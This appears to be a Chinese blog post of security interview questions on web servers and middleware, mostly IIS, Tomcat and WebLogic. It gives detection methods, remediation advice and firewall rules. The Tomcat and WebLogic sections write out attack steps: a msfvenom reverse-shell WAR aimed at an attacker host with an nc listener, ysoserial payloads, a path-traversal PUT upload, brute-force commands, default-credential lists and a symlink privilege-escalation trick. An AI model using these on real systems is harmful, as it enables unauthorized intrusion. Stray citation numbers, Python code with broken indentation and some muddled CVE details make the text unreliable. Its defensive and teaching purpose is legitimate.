2025年最新服务器、中间件安全(面试题)

活动发起人@小虚竹想对你说：

这是一个以写作博客为目的的创作活动，旨在鼓励大学生博主们挖掘自己的创作潜能，展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴，那么，快来参加吧！我们一起发掘写作的魅力，书写出属于我们的故事。我们诚挚邀请你参加为期14天的创作挑战赛！

提醒：在发布作品前，请将不需要的内容删除。

1.常见的网站服务器容器

一、Web 服务器中间件（处理 HTTP/HTTPS 请求）

1. Nginx

功能：高性能的 HTTP 和反向代理服务器，支持静态资源服务、负载均衡、缓存、SSL/TLS 加密等。
特点：

- 异步非阻塞架构，高并发处理能力（单服务器可支持数万个并发连接）；
- 资源占用低，适合高流量场景（如静态文件、API 接口服务）；
- 常作为反向代理，将请求转发到后端应用服务器（如 Tomcat、Node.js 服务）。

应用场景：

- 静态网站托管（HTML/CSS/JS）、CDN 节点、微服务网关、高并发 API 接口服务。

2. Apache HTTP Server（httpd）

功能：老牌的开源 Web 服务器，支持模块化扩展，如 PHP 解析、Rewrite 规则、虚拟主机等。
特点：

- 兼容性强，支持大量第三方模块（如 mod_php、mod_rewrite）；
- 适合处理动态请求（通过 CGI/FastCGI 与 PHP、Python 等语言集成）；
- 同步阻塞模型，高并发下资源消耗高于 Nginx。

应用场景：

- 传统动态网站（如 WordPress、PHP 项目）、企业内部系统、需要高度定制化模块的场景。

3. Microsoft IIS

功能：Windows 平台的 Web 服务器，支持ASP.NET、ASP、PHP 等技术，集成 IIS 管理器图形化配置。
特点：

- 与 Windows 生态深度整合（如 Active Directory 认证、FTP 服务）；
- 适合.NET 框架应用，支持 URL 重写、SSL 绑定、请求过滤等功能。

应用场景：

- 企业级.NET 应用、政府 / 金融行业的 Windows 环境项目。

二、应用服务器中间件（运行动态应用逻辑）

4. Apache Tomcat

功能：Java 生态的轻量级应用服务器，支持 Servlet、JSP、WebSocket 等 Java EE 规范，不支持 EJB。
特点：

- 轻量高效，适合中小型 Java Web 应用（如 Spring Boot 默认内置 Tomcat）；
- 可作为独立服务器或嵌入到 Spring Boot 项目中运行。

应用场景：

- Java Web 项目部署（如 Spring MVC、Java Servlet 应用）、教育 / 中小型企业项目。

5. WildFly（原 JBoss AS）

功能：全面支持 Java EE 规范（包括 EJB、JPA、JMS 等）的应用服务器，适合复杂企业级应用。
特点：

- 支持热部署、集群管理、分布式事务；
- 资源消耗较高，适合需要完整 Java EE 功能的场景。

应用场景：

- 大型企业级 Java 应用（如银行核心系统、ERP 平台）。

6. Jetty

功能：Java 生态的轻量级应用服务器，支持嵌入式部署（如在 Java 代码中直接启动 Jetty 实例）。
特点：

- 异步非阻塞模型，适合高并发场景（如 WebSocket 实时通信）；
- 常作为微服务框架（如 Spring Boot、Quarkus）的可选服务器。

应用场景：

- 实时通信应用（聊天、直播）、需要嵌入式部署的 Java 项目。

三、语言特定中间件（针对编程语言 / 框架优化）

7. Node.js HTTP Server

功能：Node.js 内置的 HTTP 服务器模块，基于异步 I/O 模型，适合构建高性能 API 和实时应用。
特点：

- 单线程异步非阻塞，适合 I/O 密集型任务（如 API 网关、实时消息服务）；
- 常配合 Express/Koa 等框架简化开发。

应用场景：

- 前后端分离的 API 服务器、实时聊天应用（Socket.io）、SSR（服务器端渲染）。

8. uWSGI

功能：支持多种语言（Python、Java、Ruby 等）的高性能应用服务器，专注于 WSGI 协议（Python Web 应用接口）。
特点：

- 支持 HTTP、WebSocket、SMTP 等协议，可与 Nginx 配合使用；
- 适合 Python Web 框架（如 Django、Flask）的生产环境部署。

应用场景：

- Python Web 应用的高性能部署（通过 Nginx + uWSGI 组合）。

9. Gunicorn（Green Unicorn）

功能：Python 专用的 WSGI 服务器，简单高效，支持多工作进程模型。
特点：

- 配置简单，适合快速部署 Flask/Django 应用；
- 常与 Nginx 结合，由 Nginx 处理静态资源和反向代理。

应用场景：

- 中小型 Python Web 项目的生产环境部署。

四、企业级集成中间件（分布式系统核心）

10. WebLogic Server

功能：Oracle 旗下的 Java EE 应用服务器，提供企业级功能（如集群、负载均衡、安全性、事务管理）。
特点：

- 高度集成企业级解决方案（如与 Oracle 数据库、云服务整合）；
- 适合复杂分布式系统和高可用性要求的场景。

应用场景：

- 大型企业核心业务系统（如电信、金融行业的关键应用）。

11. 消息中间件（非 Web 专用，但核心中间件）

RabbitMQ：开源 AMQP 消息队列，支持高可靠消息传递，适合解耦微服务。
Kafka：分布式流处理平台，高吞吐量，适合日志处理、实时数据流分析。
应用场景：

- 分布式系统中的异步通信、流量削峰、微服务解耦（如订单系统与库存系统解耦）。

12. API 网关（微服务架构核心）

Kong：基于 Nginx 的开源 API 网关，支持 API 路由、限流、认证、监控。
Nginx Plus：Nginx 的商业版，内置 API 网关功能，支持动态服务发现。
应用场景：

- 微服务架构中统一管理 API 入口，解决跨服务调用、权限控制等问题。

五、选择建议

静态 / 高并发场景：Nginx（高性能、低资源消耗）；
传统动态网站（PHP/ASP.NET）：Apache HTTP Server（模块化强）或 IIS（Windows 生态）；
Java Web 应用：

- 中小型项目：Tomcat（轻量）或 Jetty（嵌入式）；
- 企业级项目：WildFly/WebLogic（完整 Java EE 支持）；

Python 项目：Gunicorn/uWSGI + Nginx（高效部署 WSGI 应用）；
微服务 / 分布式系统：API 网关（Kong/Nginx Plus）+ 消息中间件（Kafka/RabbitMQ）。

中间件的核心价值在于屏蔽底层复杂性，提供标准化服务（如网络通信、资源管理、安全认证），选择时需结合技术栈、性能需求、系统规模（单体应用 / 分布式）及生态兼容性（如 Java 项目优先选 Tomcat，Python 优先选 uWSGI）。

2.如何检测iis短文件名漏洞

IIS 短文件名漏洞（8.3 文件名漏洞）源于 Windows 系统对旧版 8.3 文件名格式的兼容机制，当 IIS 服务器启用短文件名解析时，攻击者可通过构造带有~1后缀的 URL 尝试获取文件 / 目录的短名称，进而可能导致路径遍历、敏感文件泄露等风险。以下是具体的检测方法：

一、漏洞原理

Windows 系统会为长文件名自动生成短文件名（格式为前6个字符~1.扩展名，如longfilename.txt生成longfi~1.txt）。若 IIS 未禁用短文件名解析，攻击者可通过发送包含~1的 URL，探测是否存在对应的短文件名，从而推断服务器上的文件 / 目录结构。

二、检测前提

目标服务器使用 Windows 系统 + IIS Web 服务器（通常为 IIS 6.0 及以下版本，IIS 7.0 + 默认禁用短文件名，但配置不当仍可能存在）。

已知或可猜测文件 / 目录的前 6 个字符（或通过枚举尝试）。

三、手动检测方法

1. 通过浏览器 /curl 发送探测请求

构造包含~1后缀的 URL，观察响应状态码或内容：

格式：http://目标IP或域名/[文件/目录名前6位]~1/[后缀]
示例：

- 探测目录短名称：http://example.com/testdir~1/（假设真实目录名为testdirectory，前 6 位为testdi，短名称为testdi~1）。
- 探测文件短名称：http://example.com/longfile~1.txt（假设真实文件名为longfilename.txt，短名称为longfi~1.txt）。

响应分析：

- 若返回 200 OK 或 403 Forbidden（非 404），说明短文件名存在，漏洞可能存在。
- 若返回 404 Not Found，可能不存在短文件名或路径错误。

2. 利用目录遍历和通配符

通过*~1*通配符尝试匹配短文件名（需 IIS 开启目录浏览）： http://example.com/*~1*/ 若返回目录列表，可能包含短文件名信息。

四、工具检测方法

1. 使用扫描工具

DirBuster（Java 开源工具）：

- 在字典中添加包含~1的短文件名规则（如?d?d?d?d?d~1，?代表任意字符），扫描目标目录。
- 配置示例：字典文件中加入test~1、user~1等可能的短名称，结合目标已知信息定向扫描。

御剑 Web 扫描器（国产工具）：

- 在 “目录扫描” 模块中，勾选 “检测短文件名漏洞” 选项，自动生成带~1的探测路径。

Python 脚本自定义探测：python

import requests

target = "http://example.com/"
prefix = "test" # 假设目录/文件前6位为test（不足6位补全）
for i in range(1, 10):
url = f"{target}{prefix}~{i}/"
response = requests.get(url)
if response.status_code != 404:
print(f"短文件名存在: {url} 状态码: {response.status_code}")

2. 漏洞利用工具（需授权环境）

Metasploit 模块：使用auxiliary/scanner/http/iis_shortname_scanner模块，指定目标 IP 范围和目录前缀，自动探测短文件名。

五、漏洞修复建议

禁用短文件名解析（根本修复）：

- 通过注册表编辑器（regedit）修改：定位到 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem，将NtfsDisable8dot3NameCreation的值设置为 1（1 = 禁用，0 = 启用），重启服务器生效。
- 注意：此设置会影响所有依赖 8.3 文件名的程序，需确认业务兼容性。

限制 IIS 目录访问：

- 关闭 IIS 的目录浏览功能，避免攻击者通过目录列表获取线索。
- 在 IIS 中为敏感目录设置访问权限，拒绝匿名用户访问。

更新 IIS 版本：

- IIS 7.0 及以上版本默认禁用短文件名解析，但需检查配置是否被手动启用（通过%systemroot%\\system32\\inetsrv\\config\\applicationHost.config文件，搜索enable83Name相关配置）。

六、注意事项

合法授权：检测需在目标所有者授权下进行，避免触犯法律。
误报可能：部分服务器即使禁用短文件名，可能因缓存或旧配置返回非 404 状态码，需结合多种方法验证。
结合业务场景：若业务必须使用 8.3 文件名（极少情况），需通过防火墙或 WAF（如 ModSecurity）拦截包含~1的请求。

通过以上方法可有效检测 IIS 短文件名漏洞，修复时需优先禁用 8.3 文件名生成，从源头杜绝风险。

3.如何判断web服务器是windows还是linux

一、通过 URL 路径格式判断（最直接）

1. 文件路径分隔符

Windows 特征：若服务器返回的错误信息或文件路径包含反斜杠（\\），如 C:\\inetpub\\wwwroot\\error.html，则为 Windows 系统。
Linux 特征：路径使用正斜杠（/），如 /var/www/html/index.php。
操作方法：故意访问不存在的文件（如 http://域名/abcde123456789），查看返回的错误页面或响应体，若包含路径信息，直接判断分隔符类型。

2. 短文件名漏洞（Windows 特有）

尝试访问带 ~1 后缀的 URL（如 http://域名/test~1/），若返回 403 Forbidden 或 200 OK（非 404），说明存在 Windows 的 8.3 短文件名机制（详见之前 IIS 漏洞检测部分）。

二、通过 HTTP 响应头判断

1. Server 字段分析

使用工具（如浏览器 F12、curl、wget）获取响应头，重点查看 Server 字段：

Windows 典型值：

- Microsoft-IIS/10.0（IIS 服务器）
- Microsoft-HTTPAPI/2.0（Windows 内置 API）

Linux 典型值：

- Apache/2.4.57 (Ubuntu)
- Nginx/1.24.0
- openresty/1.21.4.1（Nginx 衍生版）

2. X-Powered-By 或其他字段

若存在 .NET 相关信息（如 X-Powered-By: ASP.NET），大概率为 Windows（因ASP.NET仅 Windows 原生支持）。
若包含 PHP/7.4.30 或 Python 等，可能为 Linux，但需结合其他条件（Windows 也可运行 PHP，但较少见）。

三、通过服务器软件与技术栈判断

1. 默认端口与服务

Windows 常见组合：

- IIS 服务器（默认端口 80/443，支持 ASP/ASPX）
- 结合.NET 框架、Windows 身份验证（NTLM/Kerberos）。

Linux 常见组合：

- Apache/Nginx（默认端口 80/443，支持 PHP/Python/Node.js）
- 结合 MySQL/PostgreSQL 数据库、SSH 远程管理。

2. 文件扩展名支持

若访问 .aspx 文件返回正常页面（非 404），基本确定为 Windows（IIS+ASP.NET）。
若 .php 文件正常解析，可能为 Linux（但 Windows+IIS+PHP 也存在，需结合其他条件）。

四、通过错误页面特征判断

1. Windows IIS 错误页面

经典错误码页面（如 404、500）可能包含 “HTTP 错误” 字样，页面设计偏微软风格，路径可能带反斜杠。
示例：plaintext

HTTP 错误 404.0 – Not Found
无法找到请求的资源。
物理路径：C:\\inetpub\\wwwroot\\missing.aspx

2. Linux Apache/Nginx 错误页面

错误页面通常更简洁，路径为正斜杠，可能包含服务器软件版本（如 “Apache/2.4.29 Server at example.com Port 80”）。
示例：plaintext

Not Found
The requested resource /abc was not found on this server.
Apache/2.4.29 (Ubuntu) Server at example.com Port 80

五、通过命令执行（需有权限）

若能通过漏洞（如命令注入）执行系统命令：

Windows：执行 echo %OS% 返回 Windows_NT，或 systeminfo 查看系统类型。
Linux：执行 uname -a 返回 Linux 内核信息（如Linux server 5.4.0-107-generic #121-Ubuntu SMP），或 cat /etc/os-release 查看发行版。

六、通过工具快速检测

1. Nmap 脚本扫描

使用 Nmap 的 HTTP 指纹脚本：

bash

nmap -sV –script http-system-detection 目标IP

输出会显示操作系统猜测（如Running: Microsoft Windows Server 2016|2019 或 Linux 3.10 – 5.4）。

2. WhatWeb 工具

开源指纹识别工具，支持精准识别操作系统：

bash

whatweb http://目标域名

结果示例：

plaintext

[http://example.com]
OS: Windows Server 2019
Server: Microsoft-IIS/10.0

3. 在线工具

Wappalyzer（浏览器插件或在线版）：检测技术栈的同时，显示操作系统。
Netcraft：查看 “Server” 信息，标注 Windows/Linux。

七.大小写

Windows对于大小写不敏感,替换某个字母为大写返回正常为Windows,反之为linux

八.TTL返回值

TTL为64,有很大可能性为linux,TTL为128,有很大可能性为Windows,TTL为255,有很大可能为UNIX(可修改TTL)

总结：判断流程

优先看路径分隔符：反斜杠→Windows，正斜杠→Linux（最可靠）。

其次看 Server 头：包含 “IIS” 或 “Microsoft”→Windows，包含 “Apache/Nginx”→Linux（需结合其他条件，因 Nginx/Apache 可跨平台）。

结合技术栈：ASPX→Windows，PHP/Python→大概率 Linux（非绝对）。

工具辅助：Nmap/WhatWeb 直接获取系统指纹，准确率高。

通过以上方法综合判断，可在无权限的情况下快速区分 Web 服务器的操作系统。

4.Tomcat漏洞利用

一、弱口令攻击

漏洞原理

Tomcat 管理后台（如/manager/html）默认配置存在弱口令（如admin:admin），攻击者可通过爆破或默认凭证登录，上传恶意 WAR 包获取服务器权限。

利用方法

爆破工具：

- Burp Suite：抓取登录请求，使用字典爆破Authorization字段的 Base64 编码值（如admin:admin编码为YWRtaW46YWRtaW4=）。
- Metasploit：bash

use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 目标IP
set USER_FILE 用户名文件
set PASS_FILE 密码文件
run

手动验证：访问http://目标IP:8080/manager/html，尝试默认用户名密码（如tomcat:tomcat）。

实战案例

上传 WAR 包：登录后通过部署WAR文件功能上传包含 JSP 后门的 WAR 包（如msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=8081 -f war -o shell.war）。
反弹 Shell：访问http://目标IP:8080/shell/触发后门，本地监听端口接收连接：bash

nc -lvnp 8081

二、文件上传漏洞（CVE-2017-12615）

漏洞原理

Tomcat 的DefaultServlet在处理 PUT 请求时，若配置readonly=false（非默认），攻击者可通过构造特殊文件名（如shell.jsp/）绕过 JSP 文件检测，直接上传恶意代码。

利用条件

Tomcat 版本为 7.0.0-7.0.79（8.0 及以上默认修复）。
conf/web.xml中DefaultServlet的readonly参数设置为false。

利用方法

构造 PUT 请求：bash

curl -X PUT "http://目标IP:8080/shell.jsp/" –data-binary @shell.jsp

关键技巧：

- 文件名后加/或空格（如shell.jsp/），绕过 Tomcat 对 JSP 文件的过滤。
- 若为 Windows 系统，可使用::$DATA后缀（如shell.jsp::$DATA）。

验证上传：访问http://目标IP:8080/shell.jsp，若返回 200 OK，说明漏洞存在。

工具辅助

TomcatScanPro：集成 CVE-2017-12615 检测模块，支持多线程扫描和漏洞利用。bash

python3 TomcatScanPro.py -u http://目标IP:8080 -m cve-2017-12615

三、反序列化漏洞（CVE-2020-9484/CVE-2025-24813）

漏洞原理

CVE-2020-9484：Tomcat 的FileStore会话持久化功能未正确验证文件路径，攻击者可通过构造特制请求读取或写入任意文件，结合反序列化链执行代码。
CVE-2025-24813：Tomcat 处理不完整 PUT 请求时，允许上传恶意序列化数据到会话文件，触发反序列化漏洞。

利用条件

启用FileStore会话存储（conf/context.xml中配置）。
存在可利用的反序列化链（如commons-collections库）。

利用方法

构造恶意会话文件：使用ysoserial生成反序列化 payload：bash

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/success" > payload.session

上传并触发：通过 PUT 请求上传payload.session到会话存储目录（如/work/Catalina/localhost/ROOT/），并访问对应会话 ID：bash

curl -X PUT "http://目标IP:8080/../../work/Catalina/localhost/ROOT/sess_恶意ID.session" –data-binary @payload.session

修复建议

禁用FileStore会话存储，改用内存或其他安全存储方式。
删除commons-collections等危险库，或升级到安全版本。

四、AJP 协议文件包含漏洞（CVE-2020-1938）

漏洞原理

Tomcat 的 AJP 连接器存在缺陷，攻击者可通过构造特定请求读取服务器webapp目录下的任意文件（如/WEB-INF/web.xml），若结合文件上传功能可进一步执行代码。

利用条件

AJP 连接器未禁用（默认端口 8009）。
目标服务器允许文件上传。

利用方法

读取文件：使用 Python 脚本（如CVE-2020-1938-Tomact-file_include-file_read）：bash

python2 exploit.py -p 8009 -f /WEB-INF/web.xml 目标IP

结合文件上传：

- 上传恶意 JSP 文件到webapp目录。
- 通过 AJP 协议包含该文件：bash

python2 exploit.py -p 8009 -f /上传路径/shell.jsp 目标IP

防御措施

禁用 AJP 连接器（修改conf/server.xml，注释<Connector port="8009" protocol="AJP/1.3" …/>）。
配置防火墙限制 AJP 端口（8009）的访问。

五、本地提权漏洞（CVE-2016-1240）

漏洞原理

Tomcat 服务启动脚本以 root 权限运行，但日志文件catalina.out的所有者为 tomcat 用户。攻击者可通过创建软链接，将catalina.out指向敏感文件（如/etc/passwd），触发 root 权限写入。

利用步骤

获取低权限 Shell：通过其他漏洞（如弱口令）上传 JSP 后门，获取tomcat用户权限。

创建软链接：bash

ln -s /etc/passwd /var/log/tomcat7/catalina.out

触发提权：重启 Tomcat 服务，root 用户会将catalina.out的所有者改为tomcat，从而修改/etc/passwd文件。

六、检测与修复

漏洞检测

工具扫描：

- Nmap：bash

nmap -p 8080 –script http-tomcat-version 目标IP

- TomcatScanPro：一键检测弱口令、文件上传、AJP 漏洞等。
- WhatWeb：识别 Tomcat 版本及技术栈。

配置检查：

- 检查conf/web.xml中DefaultServlet的readonly参数是否为true。
- 确认 AJP 连接器是否禁用（conf/server.xml中无AJP配置）。

修复方案

更新版本：

- 升级到 Tomcat 9.0.31（CVE-2020-1938）、9.0.98（CVE-2024-50379）等安全版本。
- 参考官方公告：Apache Tomcat Security Advisory。

禁用危险功能：

- 关闭 PUT 方法：在conf/web.xml中设置readonly=true。
- 禁用 AJP 连接器：注释server.xml中的 AJP 配置。

强化认证：

- 修改管理后台默认密码，使用强密码策略。
- 限制管理后台访问 IP（在conf/tomcat-users.xml中配置role权限）。

安全配置：

- 以低权限用户（非 root）运行 Tomcat。
- 禁用目录浏览，删除示例应用（如/examples）。

七、防御案例

某企业 Tomcat 服务器被攻击后，通过以下措施修复：

漏洞分析：攻击者利用 CVE-2017-12615 上传 JSP 后门，结合弱口令进入管理后台。

紧急处理：

- 关闭 PUT 方法（readonly=true）。
- 修改admin用户密码，禁用匿名访问。

长期防护：

- 升级 Tomcat 到 9.0.31，禁用 AJP 连接器。
- 部署 WAF，拦截包含~1、/WEB-INF/等敏感字符串的请求。

总结

Tomcat 漏洞利用需结合版本分析、配置检查、工具扫描多维度防御。核心防护策略包括：

禁用非必要功能（PUT 方法、AJP 协议、目录浏览）。
及时更新补丁，避免使用老旧版本。
强化认证与访问控制，限制管理后台权限。
监控异常请求，通过日志分析发现攻击痕迹。

通过以上措施可大幅降低 Tomcat 服务器的安全风险。

5.Weblogic后台默认密码

一、各版本默认密码与验证方法

1. WebLogic 10.x（如 10.3.6）

默认用户名：weblogic
默认密码：

- 独立安装版：weblogic123（需验证）。
- JDeveloper 自带版：weblogic1（因密码复杂度要求，文档描述为welcome1但实际为weblogic1）。

验证方式：

- 访问控制台http://IP:7001/console，尝试默认凭证。
- 若失败，检查安装日志或boot.properties文件（路径：DOMAIN_HOME/servers/AdminServer/security/boot.properties）。

2. WebLogic 12c（如 12.2.1.4）

默认用户名：weblogic
默认密码：

- Docker 镜像：Oracle@123（如 VulnStack 环境）。
- 手动安装：无默认密码，需在安装时设置（密码需包含数字和字母，至少 8 位）。

验证方式：

- 若为 Docker 部署，查看容器日志获取密码：bash

docker logs weblogic-container | grep 'Initial default password'

3. WebLogic 14c（如 14.1.1.0）

默认用户名：weblogic
默认密码：无，安装时强制设置（参考11）。
验证方式：

- 若通过 Oracle 云市场部署，需参考官方文档（Doc ID 2267270.1）获取默认密码。

4. 其他常见弱密码

通用弱口令：plaintext

weblogic/weblogic
weblogic/welcome1
weblogic/Oracle@123
system/manager
wlcsystem/wlcsystem

来源：

- 历史版本默认配置（如 WebLogic 8.1）。
- 用户未修改的默认凭证（如wlcsystem为系统用户）。

二、实战验证与密码恢复

1. 手动验证

场景：已知目标 IP 和端口，尝试默认密码登录。
步骤：

访问http://IP:7001/console。

输入weblogic和常见密码（如weblogic123、Oracle@123）。

若失败，检查boot.properties文件（需服务器权限）。

2. 密码恢复方法

方法 1：修改配置文件（需服务器权限）

停止 WebLogic 服务。

编辑DOMAIN_HOME/security/SerializedSystemIni.dat文件，删除密码加密部分。

启动服务，使用空密码登录并重置。

- 风险：可能导致域配置损坏，需备份文件。

方法 2：使用工具重置（适用于 10.x 版本）bash

# 生成新密码文件
java weblogic.security.utils.AdminAccount <新用户名> <新密码> .
# 替换原文件
cp DefaultAuthenticatorInit.ldift DOMAIN_HOME/security/

- 参考：19。

3. 爆破工具

工具：

- Burp Suite：抓取登录请求，使用字典爆破。
- Metasploit：bash

use auxiliary/scanner/http/weblogic_login
set RHOSTS 目标IP
set USER_FILE usernames.txt
set PASS_FILE passwords.txt
run

- Hydra：bash

hydra -L users.txt -P passwords.txt -s 7001 目标IP http-form-post "/console/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"

三、安全风险与防御建议

1. 风险分析

远程代码执行：弱密码登录后，可上传恶意 WAR 包（如msfvenom -p java/jsp_shell_reverse_tcp …）。
敏感信息泄露：通过控制台可查看数据库连接字符串、应用配置等。
横向渗透：若 WebLogic 与其他系统（如数据库）共享凭证，可能导致连锁攻击。

2. 防御措施

禁用默认凭证：

- 删除weblogic用户，创建强密码的新管理员。
- 参考8：在控制台修改密码，路径：Security Realm > Users > weblogic > Change Password。

强化密码策略：

- 密码长度≥12 位，包含大小写字母、数字、特殊字符。
- 启用密码复杂度检查（控制台路径：Security Realm > Providers > Password Validation）。

限制访问权限：

- 仅允许内部网络访问控制台（如通过防火墙限制）。
- 禁用非必要服务（如 T3 协议、IIOP 协议）。

及时更新补丁：

- 修复 CVE-2023-21839（反序列化漏洞）、CVE-2024-29063（SSRF 漏洞）等。
- 参考 Oracle 官方公告：WebLogic Security Alerts。

监控与审计：

- 记录登录失败日志，设置登录失败锁定阈值（如 5 次失败后锁定账户）。
- 使用 WAF 拦截包含weblogic、console等关键词的请求。

四、实战案例与防御效果

案例 1：Docker 环境弱密码攻击

攻击步骤：

部署 VulnStack 的 WebLogic 环境（默认密码weblogic/Oracle@123）。

登录控制台，上传 JSP 后门（如shell.jsp）。

访问http://IP:7001/shell.jsp触发反弹 Shell。

防御措施：

- 自定义 Docker 镜像，删除默认用户。
- 使用docker-compose.yml配置时，通过环境变量设置密码：yaml

environment:
– USER_MEM_ARGS=-Dweblogic.management.username=admin -Dweblogic.management.password=StrongPass123!

案例 2：生产环境密码恢复

场景：忘记 WebLogic 密码，无法登录控制台。
解决方案：

停止服务，备份DOMAIN_HOME。

使用SerializedSystemIni.dat重置密码（参考19）。

启动服务后，立即修改密码并删除临时文件。

五、总结

默认密码不可信：WebLogic 的默认密码因版本和部署方式差异较大，且存在安全风险，必须在安装后立即修改。
防御核心：

- 禁用默认用户，创建强密码的新管理员。
- 限制控制台访问，仅允许可信 IP 地址连接。
- 定期审计，检查是否存在弱密码或未授权用户。

通过以上措施，可有效降低 WebLogic 后台的安全风险。

6.Weblogic的CVE-2019-2725漏洞描述于修复方案

漏洞描述

1. 漏洞概述

CVE – 2019 – 2725 是 WebLogic Server 中存在的一个严重的反序列化漏洞。WebLogic 是 Oracle 公司开发的一款应用服务器，在企业级应用开发和部署中广泛使用。此漏洞允许未经身份验证的远程攻击者通过构造恶意请求，利用 WebLogic Server 的 T3 协议进行远程代码执行攻击。

2. 影响版本

此漏洞影响多个 WebLogic Server 版本，主要包括：

WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
WebLogic Server 12.2.1.4

3. 漏洞原理

WebLogic Server 使用 T3 协议进行内部通信和管理，T3 协议在处理序列化对象时存在缺陷。攻击者可以构造包含恶意代码的序列化对象，通过 T3 协议发送到 WebLogic Server。当服务器对这些恶意序列化对象进行反序列化操作时，就会触发恶意代码的执行，从而使攻击者能够在目标服务器上执行任意代码。

4. 攻击场景

攻击者可以利用该漏洞在未授权的情况下，远程控制 WebLogic Server，进行诸如窃取敏感信息、安装后门程序、破坏系统等恶意操作。例如，攻击者可以获取数据库连接信息，进而访问企业的核心数据；或者植入挖矿程序，利用服务器的计算资源进行加密货币挖掘。

修复方案

1. 升级 WebLogic Server 版本

Oracle 官方发布了补丁来修复此漏洞，建议受影响的用户尽快将 WebLogic Server 升级到安全版本：

WebLogic Server 10.3.6.0 用户，升级到 10.3.6.0.190416 及以上版本。
WebLogic Server 12.1.3.0 用户，升级到 12.1.3.0.190416 及以上版本。
WebLogic Server 12.2.1.3 用户，升级到 12.2.1.3.190416 及以上版本。
WebLogic Server 12.2.1.4 用户，升级到 12.2.1.4.190416 及以上版本。

升级步骤如下：

备份 WebLogic Server 的配置文件、域目录以及相关数据，防止升级过程中数据丢失。
下载对应版本的补丁包，可从 Oracle 官方支持网站获取。
停止 WebLogic Server 服务。
运行补丁安装程序，按照提示完成升级操作。
启动 WebLogic Server 服务，并验证升级是否成功。

2. 配置防火墙规则

如果暂时无法进行升级，可以通过配置防火墙规则来限制对 WebLogic Server T3 协议端口（默认是 7001）的访问，只允许来自可信 IP 地址的连接。具体配置步骤因使用的防火墙不同而有所差异，以下是一个示例（以 Linux 系统的 iptables 为例）：

bash

# 允许本地回环接口的流量
iptables -A INPUT -i lo -j ACCEPT

# 允许已建立的和相关的连接
iptables -A INPUT -m conntrack –ctstate ESTABLISHED,RELATED -j ACCEPT

# 允许来自可信IP地址的T3协议流量
iptables -A INPUT -p tcp -s 可信IP地址 -dport 7001 -j ACCEPT

# 拒绝其他所有对T3协议端口的访问
iptables -A INPUT -p tcp –dport 7001 -j DROP

3. 监控和检测

部署入侵检测系统（IDS）或入侵防御系统（IPS），对 WebLogic Server 的网络流量进行实时监控和检测。这些系统可以识别和拦截异常的 T3 协议流量，以及可能利用该漏洞的恶意请求。同时，定期审查 WebLogic Server 的日志文件，查看是否存在异常的登录尝试、错误信息或可疑操作记录，及时发现潜在的攻击行为。

7.假设你发现weblogic爆发0day漏洞,需要你紧急排查影响,说说你的看法

一、漏洞特征快速定位

确认攻击向量

- T3 协议漏洞：通过nmap -p 7001 –script weblogic-t3-info <IP>检测 T3 服务是否开放。若存在反序列化漏洞（如 CVE-2019-2725 补丁绕过），攻击者可直接构造恶意 T3 协议数据执行代码618。
- HTTP 协议漏洞：访问http://IP:7001/_async/AsyncResponseService，若返回 200 状态码，说明存在 wls9-async 组件漏洞19。此组件在 WebLogic 10.3.6/12.1.3 中默认启用，攻击者可通过 HTTP 请求触发反序列化1217。

版本与组件关联

- 受影响版本：

- - T3 漏洞：WebLogic 10.3.6.0 + JDK1.7 以下版本6。
  - HTTP 漏洞：WebLogic 10.3.6.0、12.1.3.0、12.2.1.11214。

- 关键组件：

- - wls9_async_response.war（路径：DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls9_async_response）。
  - wls-wsat.war（路径：DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls-wsat）。

- 验证方法：通过find / -name "wls9_async_response.war"或find / -name "wls-wsat.war"定位组件是否存在1617。

二、紧急隔离与风险阻断

网络层隔离

- 防火墙策略：

- - 禁用 T3 协议：iptables -A INPUT -p tcp –dport 7001 -j DROP。
  - 限制 HTTP 访问：仅允许可信 IP 访问 WebLogic 控制台（如iptables -A INPUT -s 192.168.1.0/24 -p tcp –dport 7001 -j ACCEPT）18。

- WAF 规则：

- - 拦截/_async/*和/wls-wsat/*路径：bash

# 华为云WAF配置示例
路径包含 "/_async" 或 "/wls-wsat" → 阻断

参考2122。

服务层禁用

- WebLogic 控制台配置：

进入Security Realm > Providers > Network Access，添加连接筛选器：plaintext

weblogic.security.net.ConnectionFilterImpl
* * 7001 deny t3 t3s

重启服务使配置生效18。

- 删除高危组件（需开发确认业务影响）：bash

rm -rf DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls9_async_response
rm -rf DOMAIN_HOME/servers/AdminServer/tmp/_WL_user/wls-wsat

参考1217。

三、漏洞验证与影响评估

自动化扫描

- Nessus 插件：使用WebLogic T3 Deserialization (CVE-2019-2725)插件检测。
- PoC 验证：python

# 测试wls9-async漏洞
import requests
url = "http://IP:7001/_async/AsyncResponseService"
response = requests.get(url)
if response.status_code == 200:
print("漏洞存在")

渗透测试

- 攻击工具：

- - ysoserial：生成恶意序列化数据，通过 T3 协议发送。
  - Burp Suite：拦截 HTTP 请求，构造Content-Type: application/x-java-serialized-object的 POST 请求。

- 验证指标：

- - 能否执行系统命令（如whoami）。
  - 是否可上传 WebShell（如msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war）。

日志分析

- WebLogic 日志：检查DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log，查找异常请求（如java.io.IOException: Write failed）。
- 系统日志：监控/var/log/auth.log或Windows事件日志，排查可疑登录或进程创建。

四、临时缓解与补丁部署

JDK 版本升级

- 若漏洞利用依赖 JDK 低版本特性（如 CVE-2019-2725 补丁绕过），需将 JDK 升级至 1.8u211 及以上513。
- 验证方法：bash

java -version
# 需显示"1.8.0_211"或更高

配置参数禁用

- 启动参数添加：bash

# 在setDomainEnv.sh中添加
JAVA_OPTIONS="$JAVA_OPTIONS -Dweblogic.wsee.async.response.disabled=true"

参考1214。

等待官方补丁

- 订阅 Oracle 公告：访问Oracle Critical Patch Updates，一旦补丁发布，立即测试并部署。
- 验证补丁有效性：bash

# 测试T3协议漏洞是否修复
nmap -p 7001 –script weblogic-t3-info <IP>
